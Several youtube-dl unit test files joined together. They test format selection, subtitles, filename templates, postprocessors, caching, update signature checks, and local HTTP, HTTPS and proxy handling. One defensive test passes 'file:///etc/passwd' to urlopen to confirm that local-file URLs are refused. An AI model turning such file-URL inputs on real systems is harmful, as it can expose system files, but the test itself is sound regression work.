            {'format_id': 'dash-video-high', 'ext': 'mp4', 'preference': 2, 'acodec': 'none', 'url': TEST_URL},
            {'format_id': 'vid', 'ext': 'mp4', 'preference': 3, 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'bestvideo'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'dash-video-high')

        ydl = YDL({'format': 'worstvideo'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'dash-video-low')

        ydl = YDL({'format': 'bestvideo[format_id^=dash][format_id$=low]'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'dash-video-low')

        formats = [
            {'format_id': 'vid-vcodec-dot', 'ext': 'mp4', 'preference': 1, 'vcodec': 'avc1.123456', 'acodec': 'none', 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'bestvideo[vcodec=avc1.123456]'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'vid-vcodec-dot')

    def test_youtube_format_selection(self):
        order = [
            '38', '37', '46', '22', '45', '35', '44', '18', '34', '43', '6', '5', '17', '36', '13',
            # Apple HTTP Live Streaming
            '96', '95', '94', '93', '92', '132', '151',
            # 3D
            '85', '84', '102', '83', '101', '82', '100',
            # Dash video
            '137', '248', '136', '247', '135', '246',
            '245', '244', '134', '243', '133', '242', '160',
            # Dash audio
            '141', '172', '140', '171', '139',
        ]

        def format_info(f_id):
            info = YoutubeIE._formats[f_id].copy()

            # XXX: In real cases InfoExtractor._parse_mpd_formats() fills up 'acodec'
            # and 'vcodec', while in tests such information is incomplete since
            # commit a6c2c24479e5f4827ceb06f64d855329c0a6f593
            # test_YoutubeDL.test_youtube_format_selection is broken without
            # this fix
            if 'acodec' in info and 'vcodec' not in info:
                info['vcodec'] = 'none'
            elif 'vcodec' in info and 'acodec' not in info:
                info['acodec'] = 'none'

            info['format_id'] = f_id
            info['url'] = 'url:' + f_id
            return info
        formats_order = [format_info(f_id) for f_id in order]

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': 'bestvideo+bestaudio'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '137+141')
        self.assertEqual(downloaded['ext'], 'mp4')

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': 'bestvideo[height>=999999]+bestaudio/best'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], '38')

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': 'bestvideo/best,bestaudio'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded_ids = [info['format_id'] for info in ydl.downloaded_info_dicts]
        self.assertEqual(downloaded_ids, ['137', '141'])

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': '(bestvideo[ext=mp4],bestvideo[ext=webm])+bestaudio'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded_ids = [info['format_id'] for info in ydl.downloaded_info_dicts]
        self.assertEqual(downloaded_ids, ['137+141', '248+141'])

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': '(bestvideo[ext=mp4],bestvideo[ext=webm])[height<=720]+bestaudio'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded_ids = [info['format_id'] for info in ydl.downloaded_info_dicts]
        self.assertEqual(downloaded_ids, ['136+141', '247+141'])

        info_dict = _make_result(list(formats_order), extractor='youtube')
        ydl = YDL({'format': '(bestvideo[ext=none]/bestvideo[ext=webm])+bestaudio'})
        yie = YoutubeIE(ydl)
        yie._sort_formats(info_dict['formats'])
        ydl.process_ie_result(info_dict)
        downloaded_ids = [info['format_id'] for info in ydl.downloaded_info_dicts]
        self.assertEqual(downloaded_ids, ['248+141'])

        for f1, f2 in zip(formats_order, formats_order[1:]):
            info_dict = _make_result([f1, f2], extractor='youtube')
            ydl = YDL({'format': 'best/bestvideo'})
            yie = YoutubeIE(ydl)
            yie._sort_formats(info_dict['formats'])
            ydl.process_ie_result(info_dict)
            downloaded = ydl.downloaded_info_dicts[0]
            self.assertEqual(downloaded['format_id'], f1['format_id'])

            info_dict = _make_result([f2, f1], extractor='youtube')
            ydl = YDL({'format': 'best/bestvideo'})
            yie = YoutubeIE(ydl)
            yie._sort_formats(info_dict['formats'])
            ydl.process_ie_result(info_dict)
            downloaded = ydl.downloaded_info_dicts[0]
            self.assertEqual(downloaded['format_id'], f1['format_id'])

    def test_audio_only_extractor_format_selection(self):
        # For extractors with incomplete formats (all formats are audio-only or
        # video-only) best and worst should fallback to corresponding best/worst
        # video-only or audio-only formats (as per
        # https://github.com/rg3/youtube-dl/pull/5556)
        formats = [
            {'format_id': 'low', 'ext': 'mp3', 'preference': 1, 'vcodec': 'none', 'url': TEST_URL},
            {'format_id': 'high', 'ext': 'mp3', 'preference': 2, 'vcodec': 'none', 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'best'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'high')

        ydl = YDL({'format': 'worst'})
        ydl.process_ie_result(info_dict.copy())
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'low')

    def test_format_not_available(self):
        formats = [
            {'format_id': 'regular', 'ext': 'mp4', 'height': 360, 'url': TEST_URL},
            {'format_id': 'video', 'ext': 'mp4', 'height': 720, 'acodec': 'none', 'url': TEST_URL},
        ]
        info_dict = _make_result(formats)

        # This must fail since complete video-audio format does not match filter
        # and extractor does not provide incomplete only formats (i.e. only
        # video-only or audio-only).
        ydl = YDL({'format': 'best[height>360]'})
        self.assertRaises(ExtractorError, ydl.process_ie_result, info_dict.copy())

    def test_invalid_format_specs(self):
        def assert_syntax_error(format_spec):
            ydl = YDL({'format': format_spec})
            info_dict = _make_result([{'format_id': 'foo', 'url': TEST_URL}])
            self.assertRaises(SyntaxError, ydl.process_ie_result, info_dict)

        assert_syntax_error('bestvideo,,best')
        assert_syntax_error('+bestaudio')
        assert_syntax_error('bestvideo+')
        assert_syntax_error('/')

    def test_format_filtering(self):
        formats = [
            {'format_id': 'A', 'filesize': 500, 'width': 1000},
            {'format_id': 'B', 'filesize': 1000, 'width': 500},
            {'format_id': 'C', 'filesize': 1000, 'width': 400},
            {'format_id': 'D', 'filesize': 2000, 'width': 600},
            {'format_id': 'E', 'filesize': 3000},
            {'format_id': 'F'},
            {'format_id': 'G', 'filesize': 1000000},
        ]
        for f in formats:
            f['url'] = 'http://_/'
            f['ext'] = 'unknown'
        info_dict = _make_result(formats)

        ydl = YDL({'format': 'best[filesize<3000]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'D')

        ydl = YDL({'format': 'best[filesize<=3000]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'E')

        ydl = YDL({'format': 'best[filesize <= ? 3000]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'F')

        ydl = YDL({'format': 'best [filesize = 1000] [width>450]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'B')

        ydl = YDL({'format': 'best [filesize = 1000] [width!=450]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'C')

        ydl = YDL({'format': '[filesize>?1]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'G')

        ydl = YDL({'format': '[filesize<1M]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'E')

        ydl = YDL({'format': '[filesize<1MiB]'})
        ydl.process_ie_result(info_dict)
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['format_id'], 'G')

        ydl = YDL({'format': 'all[width>=400][width<=600]'})
        ydl.process_ie_result(info_dict)
        downloaded_ids = [info['format_id'] for info in ydl.downloaded_info_dicts]
        self.assertEqual(downloaded_ids, ['B', 'C', 'D'])

        ydl = YDL({'format': 'best[height<40]'})
        try:
            ydl.process_ie_result(info_dict)
        except ExtractorError:
            pass
        self.assertEqual(ydl.downloaded_info_dicts, [])


class TestYoutubeDL(unittest.TestCase):
    def test_subtitles(self):
        def s_formats(lang, autocaption=False):
            return [{
                'ext': ext,
                'url': 'http://localhost/video.%s.%s' % (lang, ext),
                '_auto': autocaption,
            } for ext in ['vtt', 'srt', 'ass']]
        subtitles = dict((l, s_formats(l)) for l in ['en', 'fr', 'es'])
        auto_captions = dict((l, s_formats(l, True)) for l in ['it', 'pt', 'es'])
        info_dict = {
            'id': 'test',
            'title': 'Test',
            'url': 'http://localhost/video.mp4',
            'subtitles': subtitles,
            'automatic_captions': auto_captions,
            'extractor': 'TEST',
        }

        def get_info(params={}):
            params.setdefault('simulate', True)
            ydl = YDL(params)
            ydl.report_warning = lambda *args, **kargs: None
            return ydl.process_video_result(info_dict, download=False)

        result = get_info()
        self.assertFalse(result.get('requested_subtitles'))
        self.assertEqual(result['subtitles'], subtitles)
        self.assertEqual(result['automatic_captions'], auto_captions)

        result = get_info({'writesubtitles': True})
        subs = result['requested_subtitles']
        self.assertTrue(subs)
        self.assertEqual(set(subs.keys()), set(['en']))
        self.assertTrue(subs['en'].get('data') is None)
        self.assertEqual(subs['en']['ext'], 'ass')

        result = get_info({'writesubtitles': True, 'subtitlesformat': 'foo/srt'})
        subs = result['requested_subtitles']
        self.assertEqual(subs['en']['ext'], 'srt')

        result = get_info({'writesubtitles': True, 'subtitleslangs': ['es', 'fr', 'it']})
        subs = result['requested_subtitles']
        self.assertTrue(subs)
        self.assertEqual(set(subs.keys()), set(['es', 'fr']))

        result = get_info({'writesubtitles': True, 'writeautomaticsub': True, 'subtitleslangs': ['es', 'pt']})
        subs = result['requested_subtitles']
        self.assertTrue(subs)
        self.assertEqual(set(subs.keys()), set(['es', 'pt']))
        self.assertFalse(subs['es']['_auto'])
        self.assertTrue(subs['pt']['_auto'])

        result = get_info({'writeautomaticsub': True, 'subtitleslangs': ['es', 'pt']})
        subs = result['requested_subtitles']
        self.assertTrue(subs)
        self.assertEqual(set(subs.keys()), set(['es', 'pt']))
        self.assertTrue(subs['es']['_auto'])
        self.assertTrue(subs['pt']['_auto'])

    def test_add_extra_info(self):
        test_dict = {
            'extractor': 'Foo',
        }
        extra_info = {
            'extractor': 'Bar',
            'playlist': 'funny videos',
        }
        YDL.add_extra_info(test_dict, extra_info)
        self.assertEqual(test_dict['extractor'], 'Foo')
        self.assertEqual(test_dict['playlist'], 'funny videos')

    def test_prepare_filename(self):
        info = {
            'id': '1234',
            'ext': 'mp4',
            'width': None,
        }

        def fname(templ):
            ydl = YoutubeDL({'outtmpl': templ})
            return ydl.prepare_filename(info)
        self.assertEqual(fname('%(id)s.%(ext)s'), '1234.mp4')
        self.assertEqual(fname('%(id)s-%(width)s.%(ext)s'), '1234-NA.mp4')
        # Replace missing fields with 'NA'
        self.assertEqual(fname('%(uploader_date)s-%(id)s.%(ext)s'), 'NA-1234.mp4')

    def test_format_note(self):
        ydl = YoutubeDL()
        self.assertEqual(ydl._format_note({}), '')
        assertRegexpMatches(self, ydl._format_note({
            'vbr': 10,
        }), '^\s*10k$')
        assertRegexpMatches(self, ydl._format_note({
            'fps': 30,
        }), '^30fps$')

    def test_postprocessors(self):
        filename = 'post-processor-testfile.mp4'
        audiofile = filename + '.mp3'

        class SimplePP(PostProcessor):
            def run(self, info):
                with open(audiofile, 'wt') as f:
                    f.write('EXAMPLE')
                return [info['filepath']], info

        def run_pp(params, PP):
            with open(filename, 'wt') as f:
                f.write('EXAMPLE')
            ydl = YoutubeDL(params)
            ydl.add_post_processor(PP())
            ydl.post_process(filename, {'filepath': filename})

        run_pp({'keepvideo': True}, SimplePP)
        self.assertTrue(os.path.exists(filename), '%s doesn\'t exist' % filename)
        self.assertTrue(os.path.exists(audiofile), '%s doesn\'t exist' % audiofile)
        os.unlink(filename)
        os.unlink(audiofile)

        run_pp({'keepvideo': False}, SimplePP)
        self.assertFalse(os.path.exists(filename), '%s exists' % filename)
        self.assertTrue(os.path.exists(audiofile), '%s doesn\'t exist' % audiofile)
        os.unlink(audiofile)

        class ModifierPP(PostProcessor):
            def run(self, info):
                with open(info['filepath'], 'wt') as f:
                    f.write('MODIFIED')
                return [], info

        run_pp({'keepvideo': False}, ModifierPP)
        self.assertTrue(os.path.exists(filename), '%s doesn\'t exist' % filename)
        os.unlink(filename)

    def test_match_filter(self):
        class FilterYDL(YDL):
            def __init__(self, *args, **kwargs):
                super(FilterYDL, self).__init__(*args, **kwargs)
                self.params['simulate'] = True

            def process_info(self, info_dict):
                super(YDL, self).process_info(info_dict)

            def _match_entry(self, info_dict, incomplete):
                res = super(FilterYDL, self)._match_entry(info_dict, incomplete)
                if res is None:
                    self.downloaded_info_dicts.append(info_dict)
                return res

        first = {
            'id': '1',
            'url': TEST_URL,
            'title': 'one',
            'extractor': 'TEST',
            'duration': 30,
            'filesize': 10 * 1024,
        }
        second = {
            'id': '2',
            'url': TEST_URL,
            'title': 'two',
            'extractor': 'TEST',
            'duration': 10,
            'description': 'foo',
            'filesize': 5 * 1024,
        }
        videos = [first, second]

        def get_videos(filter_=None):
            ydl = FilterYDL({'match_filter': filter_})
            for v in videos:
                ydl.process_ie_result(v, download=True)
            return [v['id'] for v in ydl.downloaded_info_dicts]

        res = get_videos()
        self.assertEqual(res, ['1', '2'])

        def f(v):
            if v['id'] == '1':
                return None
            else:
                return 'Video id is not 1'
        res = get_videos(f)
        self.assertEqual(res, ['1'])

        f = match_filter_func('duration < 30')
        res = get_videos(f)
        self.assertEqual(res, ['2'])

        f = match_filter_func('description = foo')
        res = get_videos(f)
        self.assertEqual(res, ['2'])

        f = match_filter_func('description =? foo')
        res = get_videos(f)
        self.assertEqual(res, ['1', '2'])

        f = match_filter_func('filesize > 5KiB')
        res = get_videos(f)
        self.assertEqual(res, ['1'])

    def test_playlist_items_selection(self):
        entries = [{
            'id': compat_str(i),
            'title': compat_str(i),
            'url': TEST_URL,
        } for i in range(1, 5)]
        playlist = {
            '_type': 'playlist',
            'id': 'test',
            'entries': entries,
            'extractor': 'test:playlist',
            'extractor_key': 'test:playlist',
            'webpage_url': 'http://example.com',
        }

        def get_ids(params):
            ydl = YDL(params)
            # make a copy because the dictionary can be modified
            ydl.process_ie_result(playlist.copy())
            return [int(v['id']) for v in ydl.downloaded_info_dicts]

        result = get_ids({})
        self.assertEqual(result, [1, 2, 3, 4])

        result = get_ids({'playlistend': 10})
        self.assertEqual(result, [1, 2, 3, 4])

        result = get_ids({'playlistend': 2})
        self.assertEqual(result, [1, 2])

        result = get_ids({'playliststart': 10})
        self.assertEqual(result, [])

        result = get_ids({'playliststart': 2})
        self.assertEqual(result, [2, 3, 4])

        result = get_ids({'playlist_items': '2-4'})
        self.assertEqual(result, [2, 3, 4])

        result = get_ids({'playlist_items': '2,4'})
        self.assertEqual(result, [2, 4])

        result = get_ids({'playlist_items': '10'})
        self.assertEqual(result, [])

    def test_urlopen_no_file_protocol(self):
        # see https://github.com/rg3/youtube-dl/issues/8227
        ydl = YDL()
        self.assertRaises(compat_urllib_error.URLError, ydl.urlopen, 'file:///etc/passwd')

    def test_do_not_override_ie_key_in_url_transparent(self):
        ydl = YDL()

        class Foo1IE(InfoExtractor):
            _VALID_URL = r'foo1:'

            def _real_extract(self, url):
                return {
                    '_type': 'url_transparent',
                    'url': 'foo2:',
                    'ie_key': 'Foo2',
                }

        class Foo2IE(InfoExtractor):
            _VALID_URL = r'foo2:'

            def _real_extract(self, url):
                return {
                    '_type': 'url',
                    'url': 'foo3:',
                    'ie_key': 'Foo3',
                }

        class Foo3IE(InfoExtractor):
            _VALID_URL = r'foo3:'

            def _real_extract(self, url):
                return _make_result([{'url': TEST_URL}])

        ydl.add_info_extractor(Foo1IE(ydl))
        ydl.add_info_extractor(Foo2IE(ydl))
        ydl.add_info_extractor(Foo3IE(ydl))
        ydl.extract_info('foo1:')
        downloaded = ydl.downloaded_info_dicts[0]
        self.assertEqual(downloaded['url'], TEST_URL)


if __name__ == '__main__':
    unittest.main()












#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl.postprocessor import MetadataFromTitlePP


class TestMetadataFromTitle(unittest.TestCase):
    def test_format_to_regex(self):
        pp = MetadataFromTitlePP(None, '%(title)s - %(artist)s')
        self.assertEqual(pp._titleregex, '(?P<title>.+)\ \-\ (?P<artist>.+)')






#!/usr/bin/env python
# coding: utf-8

from __future__ import unicode_literals

import shutil

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


from test.helper import FakeYDL
from youtube_dl.cache import Cache


def _is_empty(d):
    return not bool(os.listdir(d))


def _mkdir(d):
    if not os.path.exists(d):
        os.mkdir(d)


class TestCache(unittest.TestCase):
    def setUp(self):
        TEST_DIR = os.path.dirname(os.path.abspath(__file__))
        TESTDATA_DIR = os.path.join(TEST_DIR, 'testdata')
        _mkdir(TESTDATA_DIR)
        self.test_dir = os.path.join(TESTDATA_DIR, 'cache_test')
        self.tearDown()

    def tearDown(self):
        if os.path.exists(self.test_dir):
            shutil.rmtree(self.test_dir)

    def test_cache(self):
        ydl = FakeYDL({
            'cachedir': self.test_dir,
        })
        c = Cache(ydl)
        obj = {'x': 1, 'y': ['ä', '\\a', True]}
        self.assertEqual(c.load('test_cache', 'k.'), None)
        c.store('test_cache', 'k.', obj)
        self.assertEqual(c.load('test_cache', 'k2'), None)
        self.assertFalse(_is_empty(self.test_dir))
        self.assertEqual(c.load('test_cache', 'k.'), obj)
        self.assertEqual(c.load('test_cache', 'y'), None)
        self.assertEqual(c.load('test_cache2', 'k.'), None)
        c.remove()
        self.assertFalse(os.path.exists(self.test_dir))
        self.assertEqual(c.load('test_cache', 'k.'), None)


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import get_params, try_rm


import io

import xml.etree.ElementTree

import youtube_dl.YoutubeDL
import youtube_dl.extractor


class YoutubeDL(youtube_dl.YoutubeDL):
    def __init__(self, *args, **kwargs):
        super(YoutubeDL, self).__init__(*args, **kwargs)
        self.to_stderr = self.to_screen

params = get_params({
    'writeannotations': True,
    'skip_download': True,
    'writeinfojson': False,
    'format': 'flv',
})


TEST_ID = 'gr51aVj-mLg'
ANNOTATIONS_FILE = TEST_ID + '.annotations.xml'
EXPECTED_ANNOTATIONS = ['Speech bubble', 'Note', 'Title', 'Spotlight', 'Label']


class TestAnnotations(unittest.TestCase):
    def setUp(self):
        # Clear old files
        self.tearDown()

    def test_info_json(self):
        expected = list(EXPECTED_ANNOTATIONS)  # Two annotations could have the same text.
        ie = youtube_dl.extractor.YoutubeIE()
        ydl = YoutubeDL(params)
        ydl.add_info_extractor(ie)
        ydl.download([TEST_ID])
        self.assertTrue(os.path.exists(ANNOTATIONS_FILE))
        annoxml = None
        with io.open(ANNOTATIONS_FILE, 'r', encoding='utf-8') as annof:
            annoxml = xml.etree.ElementTree.parse(annof)
        self.assertTrue(annoxml is not None, 'Failed to parse annotations XML')
        root = annoxml.getroot()
        self.assertEqual(root.tag, 'document')
        annotationsTag = root.find('annotations')
        self.assertEqual(annotationsTag.tag, 'annotations')
        annotations = annotationsTag.findall('annotation')

        # Not all the annotations have TEXT children and the annotations are returned unsorted.
        for a in annotations:
            self.assertEqual(a.tag, 'annotation')
            if a.get('type') == 'text':
                textTag = a.find('TEXT')
                text = textTag.text
                self.assertTrue(text in expected)  # assertIn only added in python 2.7
                # remove the first occurrence, there could be more than one annotation with the same text
                expected.remove(text)
        # We should have seen (and removed) all the expected annotation texts.
        self.assertEqual(len(expected), 0, 'Not all expected annotations were found.')

    def tearDown(self):
        try_rm(ANNOTATIONS_FILE)

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))


import json
from youtube_dl.update import rsa_verify


class TestUpdate(unittest.TestCase):
    def test_rsa_verify(self):
        UPDATES_RSA_KEY = (0x9d60ee4d8f805312fdb15a62f87b95bd66177b91df176765d13514a0f1754bcd2057295c5b6f1d35daa6742c3ffc9a82d3e118861c207995a8031e151d863c9927e304576bc80692bc8e094896fcf11b66f3e29e04e3a71e9a11558558acea1840aec37fc396fb6b65dc81a1c4144e03bd1c011de62e3f1357b327d08426fe93, 65537)
        with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), 'versions.json'), 'rb') as f:
            versions_info = f.read().decode()
        versions_info = json.loads(versions_info)
        signature = versions_info['signature']
        del versions_info['signature']
        self.assertTrue(rsa_verify(
            json.dumps(versions_info, sort_keys=True).encode('utf-8'),
            signature, UPDATES_RSA_KEY))


if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import FakeYDL
from youtube_dl.extractor import IqiyiIE


class IqiyiIEWithCredentials(IqiyiIE):
    def _get_login_info(self):
        return 'foo', 'bar'


class WarningLogger(object):
    def __init__(self):
        self.messages = []

    def warning(self, msg):
        self.messages.append(msg)

    def debug(self, msg):
        pass

    def error(self, msg):
        pass


class TestIqiyiSDKInterpreter(unittest.TestCase):
    def test_iqiyi_sdk_interpreter(self):
        '''
        Test the functionality of IqiyiSDKInterpreter by trying to log in

        If `sign` is incorrect, /validate call throws an HTTP 556 error
        '''
        logger = WarningLogger()
        ie = IqiyiIEWithCredentials(FakeYDL({'logger': logger}))
        ie._login()
        self.assertTrue('unable to log in:' in logger.messages[0])

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python
# coding: utf-8
from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from youtube_dl import YoutubeDL
from youtube_dl.compat import compat_http_server, compat_urllib_request
import ssl
import threading

TEST_DIR = os.path.dirname(os.path.abspath(__file__))


def http_server_port(httpd):
    if os.name == 'java' and isinstance(httpd.socket, ssl.SSLSocket):
        # In Jython SSLSocket is not a subclass of socket.socket
        sock = httpd.socket.sock
    else:
        sock = httpd.socket
    return sock.getsockname()[1]


class HTTPTestRequestHandler(compat_http_server.BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass

    def do_GET(self):
        if self.path == '/video.html':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html; charset=utf-8')
            self.end_headers()
            self.wfile.write(b'<html><video src="/vid.mp4" /></html>')
        elif self.path == '/vid.mp4':
            self.send_response(200)
            self.send_header('Content-Type', 'video/mp4')
            self.end_headers()
            self.wfile.write(b'\x00\x00\x00\x00\x20\x66\x74[video]')
        elif self.path == '/302':
            if sys.version_info[0] == 3:
                # XXX: Python 3 http server does not allow non-ASCII header values
                self.send_response(404)
                self.end_headers()
                return

            new_url = 'http://localhost:%d/中文.html' % http_server_port(self.server)
            self.send_response(302)
            self.send_header(b'Location', new_url.encode('utf-8'))
            self.end_headers()
        elif self.path == '/%E4%B8%AD%E6%96%87.html':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html; charset=utf-8')
            self.end_headers()
            self.wfile.write(b'<html><video src="/vid.mp4" /></html>')
        else:
            assert False


class FakeLogger(object):
    def debug(self, msg):
        pass

    def warning(self, msg):
        pass

    def error(self, msg):
        pass


class TestHTTP(unittest.TestCase):
    def setUp(self):
        self.httpd = compat_http_server.HTTPServer(
            ('localhost', 0), HTTPTestRequestHandler)
        self.port = http_server_port(self.httpd)
        self.server_thread = threading.Thread(target=self.httpd.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()

    def test_unicode_path_redirection(self):
        # XXX: Python 3 http server does not allow non-ASCII header values
        if sys.version_info[0] == 3:
            return

        ydl = YoutubeDL({'logger': FakeLogger()})
        r = ydl.extract_info('http://localhost:%d/302' % self.port)
        self.assertEqual(r['url'], 'http://localhost:%d/vid.mp4' % self.port)


class TestHTTPS(unittest.TestCase):
    def setUp(self):
        certfn = os.path.join(TEST_DIR, 'testcert.pem')
        self.httpd = compat_http_server.HTTPServer(
            ('localhost', 0), HTTPTestRequestHandler)
        self.httpd.socket = ssl.wrap_socket(
            self.httpd.socket, certfile=certfn, server_side=True)
        self.port = http_server_port(self.httpd)
        self.server_thread = threading.Thread(target=self.httpd.serve_forever)
        self.server_thread.daemon = True
        self.server_thread.start()

    def test_nocheckcertificate(self):
        if sys.version_info >= (2, 7, 9):  # No certificate checking anyways
            ydl = YoutubeDL({'logger': FakeLogger()})
            self.assertRaises(
                Exception,
                ydl.extract_info, 'https://localhost:%d/video.html' % self.port)

        ydl = YoutubeDL({'logger': FakeLogger(), 'nocheckcertificate': True})
        r = ydl.extract_info('https://localhost:%d/video.html' % self.port)
        self.assertEqual(r['url'], 'https://localhost:%d/vid.mp4' % self.port)


def _build_proxy_handler(name):
    class HTTPTestRequestHandler(compat_http_server.BaseHTTPRequestHandler):
        proxy_name = name

        def log_message(self, format, *args):
            pass

        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain; charset=utf-8')
            self.end_headers()
            self.wfile.write('{self.proxy_name}: {self.path}'.format(self=self).encode('utf-8'))
    return HTTPTestRequestHandler


class TestProxy(unittest.TestCase):
    def setUp(self):
        self.proxy = compat_http_server.HTTPServer(
            ('localhost', 0), _build_proxy_handler('normal'))
        self.port = http_server_port(self.proxy)
        self.proxy_thread = threading.Thread(target=self.proxy.serve_forever)
        self.proxy_thread.daemon = True
        self.proxy_thread.start()

        self.geo_proxy = compat_http_server.HTTPServer(
            ('localhost', 0), _build_proxy_handler('geo'))
        self.geo_port = http_server_port(self.geo_proxy)
        self.geo_proxy_thread = threading.Thread(target=self.geo_proxy.serve_forever)
        self.geo_proxy_thread.daemon = True
        self.geo_proxy_thread.start()

    def test_proxy(self):
        geo_proxy = 'localhost:{0}'.format(self.geo_port)
        ydl = YoutubeDL({
            'proxy': 'localhost:{0}'.format(self.port),
            'geo_verification_proxy': geo_proxy,
        })
        url = 'http://foo.com/bar'
        response = ydl.urlopen(url).read().decode('utf-8')
        self.assertEqual(response, 'normal: {0}'.format(url))

        req = compat_urllib_request.Request(url)
        req.add_header('Ytdl-request-proxy', geo_proxy)
        response = ydl.urlopen(req).read().decode('utf-8')
        self.assertEqual(response, 'geo: {0}'.format(url))

    def test_proxy_with_idn(self):
        ydl = YoutubeDL({
            'proxy': 'localhost:{0}'.format(self.port),
        })
        url = 'http://中文.tw/'
        response = ydl.urlopen(url).read().decode('utf-8')
        # b'xn--fiq228c' is '中文'.encode('idna')
        self.assertEqual(response, 'normal: http://xn--fiq228c.tw/')

if __name__ == '__main__':
    unittest.main()






#!/usr/bin/env python

from __future__ import unicode_literals

# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from test.helper import FakeYDL
from youtube_dl.extractor.common import InfoExtractor
from youtube_dl.extractor import YoutubeIE, get_info_extractor
from youtube_dl.utils import encode_data_uri, strip_jsonp, ExtractorError, RegexNotFoundError


class TestIE(InfoExtractor):
    pass


class TestInfoExtractor(unittest.TestCase):
    def setUp(self):
        self.ie = TestIE(FakeYDL())

    def test_ie_key(self):
        self.assertEqual(get_info_extractor(YoutubeIE.ie_key()), YoutubeIE)

    def test_html_search_regex(self):
        html = '<p id="foo">Watch this <a href="http://www.youtube.com/watch?v=BaW_jenozKc">video</a></p>'
        search = lambda re, *args: self.ie._html_search_regex(re, html, *args)
        self.assertEqual(search(r'<p id="foo">(.+?)</p>', 'foo'), 'Watch this video')

    def test_opengraph(self):
        ie = self.ie
        html = '''
            <meta name="og:title" content='Foo'/>
            <meta content="Some video's description " name="og:description"/>
            <meta property='og:image' content='http://domain.com/pic.jpg?key1=val1&amp;key2=val2'/>
            <meta content='application/x-shockwave-flash' property='og:video:type'>
            <meta content='Foo' property=og:foobar>
            <meta name="og:test1" content='foo > < bar'/>
            <meta name="og:test2" content="foo >//< bar"/>
            '''
        self.assertEqual(ie._og_search_title(html), 'Foo')
        self.assertEqual(ie._og_search_description(html), 'Some video\'s description ')
        self.assertEqual(ie._og_search_thumbnail(html), 'http://domain.com/pic.jpg?key1=val1&key2=val2')
        self.assertEqual(ie._og_search_video_url(html, default=None), None)
